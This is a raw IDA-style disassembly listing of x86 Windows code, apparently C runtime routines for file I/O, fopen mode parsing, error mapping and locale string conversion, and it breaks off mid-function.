mov eax, [esi-4] sub eax, 9 jmp short loc_412B46 ; --------------------------------------------------------------------------- loc_412B0E: ; CODE XREF: sub_412AE8+1Cj push esi jmp short loc_412B38 ; --------------------------------------------------------------------------- loc_412B11: ; CODE XREF: sub_412AE8+Ej cmp eax, 2 jnz short loc_412B35 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_411023 add esp, 0Ch test eax, eax jz short loc_412B35 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_412B46 ; --------------------------------------------------------------------------- loc_412B35: ; CODE XREF: sub_412AE8+2Cj ; sub_412AE8+43j push [ebp+arg_0] loc_412B38: ; CODE XREF: sub_412AE8+27j push 0 push dword_483424 call dword_418150 ; RtlSizeHeap loc_412B46: ; CODE XREF: sub_412AE8+24j ; sub_412AE8+4Bj pop esi leave retn sub_412AE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B49 proc near ; CODE XREF: sub_40D934+17p ; sub_40D934+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_412B67 mov ecx, off_421DF8 movzx eax, word ptr [ecx+eax*2] jmp short loc_412BB9 ; --------------------------------------------------------------------------- loc_412B67: ; CODE XREF: sub_412B49+10j mov ecx, eax push esi mov esi, off_421DF8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_412B8C and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_412B95 ; --------------------------------------------------------------------------- loc_412B8C: ; CODE XREF: sub_412B49+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_412B95: ; CODE XREF: sub_412B49+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_415447 add esp, 1Ch test eax, eax jnz short loc_412BB5 leave retn ; --------------------------------------------------------------------------- loc_412BB5: ; CODE XREF: sub_412B49+68j movzx eax, word ptr [ebp+arg_0+2] loc_412BB9: ; CODE XREF: sub_412B49+1Cj and eax, [ebp+arg_4] leave retn sub_412B49 endp ; =============== S U B R O U T I N E ======================================= sub_412BBE proc near ; CODE XREF: sub_40D9CA+2Ap ; sub_4157AA+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4831E0 jnb loc_412C58 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4830E0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_412C58 push edi call sub_415716 cmp eax, 0FFFFFFFFh pop ecx jz short loc_412C37 cmp edi, 1 jz short loc_412C05 cmp edi, 2 jnz short loc_412C1B loc_412C05: ; CODE XREF: sub_412BBE+40j push 2 call sub_415716 push 1 mov ebp, eax call sub_415716 pop ecx cmp eax, ebp pop ecx jz short loc_412C37 loc_412C1B: ; CODE XREF: sub_412BBE+45j push edi call sub_415716 pop ecx push eax call dword_41807C ; CloseHandle test eax, eax jnz short loc_412C37 call dword_418044 ; RtlGetLastWin32Error mov ebp, eax jmp short loc_412C39 ; --------------------------------------------------------------------------- loc_412C37: ; CODE XREF: sub_412BBE+3Bj ; sub_412BBE+5Bj ... xor ebp, ebp loc_412C39: ; CODE XREF: sub_412BBE+77j push edi call sub_41569C mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_412C54 push ebp call sub_413260 pop ecx jmp short loc_412C69 ; --------------------------------------------------------------------------- loc_412C54: ; CODE XREF: sub_412BBE+8Bj xor eax, eax jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C58: ; CODE XREF: sub_412BBE+Ej ; sub_412BBE+2Fj and dword_481DC0, 0 mov dword_481DBC, 9 loc_412C69: ; CODE XREF: sub_412BBE+94j or eax, 0FFFFFFFFh loc_412C6C: ; CODE XREF: sub_412BBE+98j pop edi pop esi pop ebp pop ebx retn sub_412BBE endp ; =============== S U B R O U T I N E ======================================= sub_412C71 proc near ; CODE XREF: sub_40D9CA+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_412C9A test al, 8 jz short loc_412C9A push dword ptr [esi+8] call sub_40CD81 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_412C9A: ; CODE XREF: sub_412C71+Aj ; sub_412C71+Ej pop esi retn sub_412C71 endp ; =============== S U B R O U T I N E ======================================= sub_412C9C proc near ; CODE XREF: sub_412D3C+2Dp ; sub_412D3C+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_412CAE push esi call sub_412D3C pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_412CAE: ; CODE XREF: sub_412C9C+7j push esi call sub_412CD7 test eax, eax pop ecx jz short loc_412CBE or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_412CBE: ; CODE XREF: sub_412C9C+1Bj test byte ptr [esi+0Dh], 40h jz short loc_412CD3 push dword ptr [esi+10h] call sub_415753 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_412CD3: ; CODE XREF: sub_412C9C+26j xor eax, eax pop esi retn sub_412C9C endp ; =============== S U B R O U T I N E ======================================= sub_412CD7 proc near ; CODE XREF: sub_40D9CA+1Ap ; sub_40EAF8+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_412D24 test ax, 108h jz short loc_412D24 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_412D24 push edi push eax push dword ptr [esi+10h] call sub_4147CC add esp, 0Ch cmp eax, edi jnz short loc_412D1D mov eax, [esi+0Ch] test al, 80h jz short loc_412D24 and al, 0FDh mov [esi+0Ch], eax jmp short loc_412D24 ; --------------------------------------------------------------------------- loc_412D1D: ; CODE XREF: sub_412CD7+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_412D24: ; CODE XREF: sub_412CD7+14j ; sub_412CD7+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_412CD7 endp ; =============== S U B R O U T I N E ======================================= sub_412D33 proc near ; CODE XREF: sub_414A88p push 1 call sub_412D3C pop ecx retn sub_412D33 endp ; =============== S U B R O U T I N E ======================================= sub_412D3C proc near ; CODE XREF: sub_412C9C+Ap ; sub_412D33+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4830C0, esi jle short loc_412D9A loc_412D4D: ; CODE XREF: sub_412D3C+5Cj mov eax, dword_4820B0 mov eax, [eax+esi*4] test eax, eax jz short loc_412D91 mov ecx, [eax+0Ch] test cl, 83h jz short loc_412D91 cmp [esp+0Ch+arg_0], 1 jnz short loc_412D77 push eax call sub_412C9C cmp eax, 0FFFFFFFFh pop ecx jz short loc_412D91 inc ebx jmp short loc_412D91 ; --------------------------------------------------------------------------- loc_412D77: ; CODE XREF: sub_412D3C+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_412D91 test cl, 2 jz short loc_412D91 push eax call sub_412C9C cmp eax, 0FFFFFFFFh pop ecx jnz short loc_412D91 or edi, eax loc_412D91: ; CODE XREF: sub_412D3C+1Bj ; sub_412D3C+23j ... inc esi cmp esi, dword_4830C0 jl short loc_412D4D loc_412D9A: ; CODE XREF: sub_412D3C+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_412DA5 mov eax, edi loc_412DA5: ; CODE XREF: sub_412D3C+65j pop edi pop esi pop ebx retn sub_412D3C endp ; =============== S U B R O U T I N E ======================================= sub_412DA9 proc near ; CODE XREF: sub_40DA20+A9p ; sub_40E9CE+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_412E7D test al, 40h jnz loc_412E7D test al, 2 jz short loc_412DCF or al, 20h mov [esi+0Ch], eax jmp loc_412E7D ; --------------------------------------------------------------------------- loc_412DCF: ; CODE XREF: sub_412DA9+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_412DE3 push esi call sub_414979 pop ecx jmp short loc_412DE8 ; --------------------------------------------------------------------------- loc_412DE3: ; CODE XREF: sub_412DA9+2Fj mov eax, [esi+8] mov [esi], eax loc_412DE8: ; CODE XREF: sub_412DA9+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_412E82 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_412E6C cmp eax, 0FFFFFFFFh jz short loc_412E6C mov edx, [esi+0Ch] test dl, 82h jnz short loc_412E41 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_412E2A mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4830E0[edi*4] lea edi, [edi+ecx*8] jmp short loc_412E2F ; --------------------------------------------------------------------------- loc_412E2A: ; CODE XREF: sub_412DA9+6Bj mov edi, offset dword_4222F8 loc_412E2F: ; CODE XREF: sub_412DA9+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_412E41 or dh, 20h mov [esi+0Ch], edx loc_412E41: ; CODE XREF: sub_412DA9+62j ; sub_412DA9+90j cmp dword ptr [esi+18h], 200h jnz short loc_412E5E mov ecx, [esi+0Ch] test cl, 8 jz short loc_412E5E test ch, 4 jnz short loc_412E5E mov dword ptr [esi+18h], 1000h loc_412E5E: ; CODE XREF: sub_412DA9+9Fj ; sub_412DA9+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_412E6C: ; CODE XREF: sub_412DA9+55j ; sub_412DA9+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_412E7D: ; CODE XREF: sub_412DA9+Aj ; sub_412DA9+12j ... or eax, 0FFFFFFFFh pop esi retn sub_412DA9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E82 proc near ; CODE XREF: sub_40DA20+90p ; sub_412DA9+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4831E0 jnb loc_41305F mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4830E0h[eax*4] mov eax, dword_4830E0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41305F and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_412F37 test dl, 2 jnz short loc_412F37 test dl, 48h jz short loc_412EF7 mov al, [eax+5] cmp al, 0Ah jz short loc_412EF7 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_412EF7: ; CODE XREF: sub_412E82+56j ; sub_412E82+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call dword_418154 ; ReadFile test eax, eax jnz short loc_412F4A call dword_418044 ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_412F32 mov dword_481DBC, 9 mov dword_481DC0, ecx jmp loc_413070 ; --------------------------------------------------------------------------- loc_412F32: ; CODE XREF: sub_412E82+99j cmp eax, 6Dh jnz short loc_412F3E loc_412F37: ; CODE XREF: sub_412E82+4Cj ; sub_412E82+51j xor eax, eax jmp loc_413073 ; --------------------------------------------------------------------------- loc_412F3E: ; CODE XREF: sub_412E82+B3j push eax call sub_413260 pop ecx jmp loc_413070 ; --------------------------------------------------------------------------- loc_412F4A: ; CODE XREF: sub_412E82+8Cj mov eax, [ebx] loc_412F4C: ; DATA XREF: .nsp0:off_41FAE0o mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41305A test edx, edx jz short loc_412F6F cmp byte ptr [edi], 0Ah jnz short loc_412F6F or al, 4 jmp short loc_412F71 ; --------------------------------------------------------------------------- loc_412F6F: ; CODE XREF: sub_412E82+E2j ; sub_412E82+E7j and al, 0FBh loc_412F71: ; CODE XREF: sub_412E82+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_413054 loc_412F89: ; CODE XREF: sub_412E82+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_413044 cmp al, 0Dh jz short loc_412FA5 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_413036 ; --------------------------------------------------------------------------- loc_412FA5: ; CODE XREF: sub_412E82+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_412FC3 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_412FBA add [ebp+arg_8], 2 jmp short loc_413018 ; --------------------------------------------------------------------------- loc_412FBA: ; CODE XREF: sub_412E82+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_413036 ; --------------------------------------------------------------------------- loc_412FC3: ; CODE XREF: sub_412E82+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_418154 ; ReadFile test eax, eax jnz short loc_412FEB call dword_418044 ; RtlGetLastWin32Error test eax, eax jnz short loc_413032 loc_412FEB: ; CODE XREF: sub_412E82+15Dj cmp [ebp+var_C], 0 jz short loc_413032 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41300D mov al, [ebp+var_1] cmp al, 0Ah jz short loc_413018 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_413036 ; --------------------------------------------------------------------------- loc_41300D: ; CODE XREF: sub_412E82+176j cmp edi, [ebp+arg_4] jnz short loc_41301D cmp [ebp+var_1], 0Ah jnz short loc_41301D loc_413018: ; CODE XREF: sub_412E82+136j ; sub_412E82+17Dj mov byte ptr [edi], 0Ah jmp short loc_413035 ; --------------------------------------------------------------------------- loc_41301D: ; CODE XREF: sub_412E82+18Ej ; sub_412E82+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_413BAD add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_413036 loc_413032: ; CODE XREF: sub_412E82+167j ; sub_412E82+16Dj mov byte ptr [edi], 0Dh loc_413035: ; CODE XREF: sub_412E82+199j inc edi loc_413036: ; CODE XREF: sub_412E82+11Ej ; sub_412E82+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_412F89 jmp short loc_413054 ; --------------------------------------------------------------------------- loc_413044: ; CODE XREF: sub_412E82+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_413054 or al, 2 mov [esi], al loc_413054: ; CODE XREF: sub_412E82+101j ; sub_412E82+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41305A: ; CODE XREF: sub_412E82+DAj mov eax, [ebp+var_8] jmp short loc_413073 ; --------------------------------------------------------------------------- loc_41305F: ; CODE XREF: sub_412E82+12j ; sub_412E82+39j and dword_481DC0, 0 mov dword_481DBC, 9 loc_413070: ; CODE XREF: sub_412E82+ABj ; sub_412E82+C3j or eax, 0FFFFFFFFh loc_413073: ; CODE XREF: sub_412E82+B7j ; sub_412E82+1DBj pop edi pop esi pop ebx leave retn sub_412E82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413078 proc near ; CODE XREF: sub_40DDA8+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_481FC0 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_4130B1 cmp al, 72h jz short loc_4130AA cmp al, 77h jnz loc_4131C5 mov ecx, 301h jmp short loc_4130B6 ; --------------------------------------------------------------------------- loc_4130AA: ; CODE XREF: sub_413078+21j xor ecx, ecx or esi, 1 jmp short loc_4130B9 ; --------------------------------------------------------------------------- loc_4130B1: ; CODE XREF: sub_413078+1Dj mov ecx, 109h loc_4130B6: ; CODE XREF: sub_413078+30j or esi, 2 loc_4130B9: ; CODE XREF: sub_413078+37j push 1 pop edx loc_4130BC: ; CODE XREF: sub_413078+8Bj ; sub_413078+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_4131AB cmp edx, ebx jz loc_4131AB movsx eax, al cmp eax, 54h jg short loc_41314A jz short loc_41313A sub eax, 2Bh jz short loc_413124 sub eax, 19h jz short loc_41311A sub eax, 0Eh jz short loc_413105 dec eax jnz loc_41319C cmp [ebp+var_4], ebx jnz loc_41319C mov [ebp+var_4], 1 or ecx, 20h jmp short loc_4130BC ; --------------------------------------------------------------------------- loc_413105: ; CODE XREF: sub_413078+6Fj cmp [ebp+var_4], ebx jnz loc_41319C mov [ebp+var_4], 1 or ecx, 10h jmp short loc_4130BC ; --------------------------------------------------------------------------- loc_41311A: ; CODE XREF: sub_413078+6Aj test cl, 40h jnz short loc_41319C or ecx, 40h jmp short loc_4130BC ; --------------------------------------------------------------------------- loc_413124: ; CODE XREF: sub_413078+65j test cl, 2 jnz short loc_41319C and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_4130BC ; --------------------------------------------------------------------------- loc_41313A: ; CODE XREF: sub_413078+60j mov eax, 1000h test ecx, eax jnz short loc_41319C or ecx, eax jmp loc_4130BC ; --------------------------------------------------------------------------- loc_41314A: ; CODE XREF: sub_413078+5Ej sub eax, 62h jz short loc_413197 dec eax jz short loc_413180 sub eax, 0Bh jz short loc_413169 sub eax, 6 jnz short loc_41319C test ch, 0C0h jnz short loc_41319C or ch, 40h jmp loc_4130BC ; --------------------------------------------------------------------------- loc_413169: ; CODE XREF: sub_413078+DDj cmp [ebp+var_8], ebx jnz short loc_41319C mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_4130BC ; --------------------------------------------------------------------------- loc_413180: ; CODE XREF: sub_413078+D8j cmp [ebp+var_8], ebx jnz short loc_41319C mov [ebp+var_8], 1 or esi, 4000h jmp loc_4130BC ; --------------------------------------------------------------------------- loc_413197: ; CODE XREF: sub_413078+D5j test ch, 0C0h jz short loc_4131A3 loc_41319C: ; CODE XREF: sub_413078+72j ; sub_413078+7Bj ... xor edx, edx jmp loc_4130BC ; --------------------------------------------------------------------------- loc_4131A3: ; CODE XREF: sub_413078+122j or ch, 80h jmp loc_4130BC ; --------------------------------------------------------------------------- loc_4131AB: ; CODE XREF: sub_413078+4Aj ; sub_413078+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_4157AA mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_4131C9 loc_4131C5: ; CODE XREF: sub_413078+25j xor eax, eax jmp short loc_4131E3 ; --------------------------------------------------------------------------- loc_4131C9: ; CODE XREF: sub_413078+14Bj mov eax, [ebp+arg_C] inc dword_481F80 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_4131E3: ; CODE XREF: sub_413078+14Fj pop edi pop esi pop ebx leave retn sub_413078 endp ; =============== S U B R O U T I N E ======================================= sub_4131E8 proc near ; CODE XREF: sub_40DDA8p mov edx, dword_4830C0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_413259 mov ebx, dword_4820B0 mov edi, ebx loc_413204: ; CODE XREF: sub_4131E8+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41321F test byte ptr [ecx+0Ch], 83h jz short loc_41321A inc eax add edi, 4 cmp eax, edx jl short loc_413204 jmp short loc_413259 ; --------------------------------------------------------------------------- loc_41321A: ; CODE XREF: sub_4131E8+26j mov esi, [ebx+eax*4] jmp short loc_413243 ; --------------------------------------------------------------------------- loc_41321F: ; CODE XREF: sub_4131E8+20j mov edi, eax push 20h shl edi, 2 call sub_40CCCF pop ecx mov ecx, dword_4820B0 mov [edi+ecx], eax mov eax, dword_4820B0 mov edi, [edi+eax] cmp edi, ebp jz short loc_413259 mov esi, edi loc_413243: ; CODE XREF: sub_4131E8+35j cmp esi, ebp jz short loc_413259 or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_413259: ; CODE XREF: sub_4131E8+12j ; sub_4131E8+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_4131E8 endp ; =============== S U B R O U T I N E ======================================= sub_413260 proc near ; CODE XREF: sub_40DE14+16p ; sub_40EA57+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_481DC0, ecx mov eax, offset dword_422010 loc_413271: ; CODE XREF: sub_413260+1Ej cmp ecx, [eax] jz short loc_413295 add eax, 8 inc edx cmp eax, offset byte_422178 jl short loc_413271 cmp ecx, 13h jb short loc_4132A2 cmp ecx, 24h ja short loc_4132A2 mov dword_481DBC, 0Dh retn ; --------------------------------------------------------------------------- loc_413295: ; CODE XREF: sub_413260+13j mov eax, dword_422014[edx*8] mov dword_481DBC, eax retn ; --------------------------------------------------------------------------- loc_4132A2: ; CODE XREF: sub_413260+23j ; sub_413260+28j cmp ecx, 0BCh jb short loc_4132BC cmp ecx, 0CAh mov dword_481DBC, 8 jbe short locret_4132C6 loc_4132BC: ; CODE XREF: sub_413260+48j mov dword_481DBC, 16h locret_4132C6: ; CODE XREF: sub_413260+5Aj retn sub_413260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4132C7 proc near ; CODE XREF: sub_40E0C3+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_481E4C, 0 push ebx jnz short loc_4132F2 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_413390 cmp eax, 7Ah jg loc_413390 sub eax, 20h jmp loc_413390 ; --------------------------------------------------------------------------- loc_4132F2: ; CODE XREF: sub_4132C7+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_413325 cmp dword_422004, 1 jle short loc_413312 push 2 push ebx call sub_412B49 pop ecx pop ecx jmp short loc_41331D ; --------------------------------------------------------------------------- loc_413312: ; CODE XREF: sub_4132C7+3Dj mov eax, off_421DF8 mov al, [eax+ebx*2] and eax, 2 loc_41331D: ; CODE XREF: sub_4132C7+49j test eax, eax jnz short loc_413325 loc_413321: ; CODE XREF: sub_4132C7+AFj mov eax, ebx jmp short loc_413390 ; --------------------------------------------------------------------------- loc_413325: ; CODE XREF: sub_4132C7+34j ; sub_4132C7+58j mov edx, off_421DF8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_413348 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_413351 ; --------------------------------------------------------------------------- loc_413348: ; CODE XREF: sub_4132C7+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_413351: ; CODE XREF: sub_4132C7+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_481E4C call sub_413455 add esp, 20h test eax, eax jz short loc_413321 cmp eax, 1 jnz short loc_413383 movzx eax, [ebp+var_4] jmp short loc_413390 ; --------------------------------------------------------------------------- loc_413383: ; CODE XREF: sub_4132C7+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_413390: ; CODE XREF: sub_4132C7+14j ; sub_4132C7+1Dj ... pop ebx leave retn sub_4132C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413393 proc near ; CODE XREF: sub_40E2E2+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41344F cmp ebx, 8Ah jg loc_41344F push esi push edi mov edi, [ebp+arg_4] mov esi, dword_42272C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4133D2 cmp edi, 2 jle short loc_4133D2 inc esi loc_4133D2: ; CODE XREF: sub_413393+37j ; sub_413393+3Cj call sub_415A63 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_422648 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_413445 cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41344B cmp dword_42264C, 0 jz short loc_41344B lea eax, [ebp+var_24] push eax call sub_415CD6 pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41344B loc_413445: ; CODE XREF: sub_413393+90j add ecx, dword_422650 loc_41344B: ; CODE XREF: sub_413393+96j ; sub_413393+9Fj ... mov eax, ecx jmp short loc_413452 ; --------------------------------------------------------------------------- loc_41344F: ; CODE XREF: sub_413393+13j ; sub_413393+1Fj or eax, 0FFFFFFFFh loc_413452: ; CODE XREF: sub_413393+BAj pop ebx leave retn sub_413393 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413455 proc near ; CODE XREF: sub_40E530+A3p ; sub_4132C7+A5p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_418870 push offset sub_414568 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_481E40, edi jnz short loc_4134CB push edi push edi push 1 pop ebx push ebx push offset dword_418868 mov esi, 100h push esi push edi call dword_41815C ; LCMapStringW test eax, eax jz short loc_4134A9 mov dword_481E40, ebx jmp short loc_4134CB ; --------------------------------------------------------------------------- loc_4134A9: ; CODE XREF: sub_413455+4Aj push edi push edi push ebx push offset dword_4242EC push esi push edi call dword_418158 ; LCMapStringA test eax, eax jz loc_4135E3 mov dword_481E40, 2 loc_4134CB: ; CODE XREF: sub_413455+2Ej ; sub_413455+52j cmp [ebp+arg_C], edi jle short loc_4134E0 push [ebp+arg_C] push [ebp+arg_8] call sub_41740C pop ecx pop ecx mov [ebp+arg_C], eax loc_4134E0: ; CODE XREF: sub_413455+79j mov eax, dword_481E40 cmp eax, 2 jnz short loc_413507 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_418158 ; LCMapStringA jmp loc_4135E5 ; --------------------------------------------------------------------------- loc_413507: ; CODE XREF: sub_413455+93j cmp eax, 1 jnz loc_4135E3 cmp [ebp+arg_18], edi jnz short loc_41351D mov eax, dword_481E5C mov [ebp+arg_18], eax loc_41351D: ; CODE XREF: sub_413455+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_4180CC ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_4135E3 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_40CCA0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_413578 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_413578: ; CODE XREF: 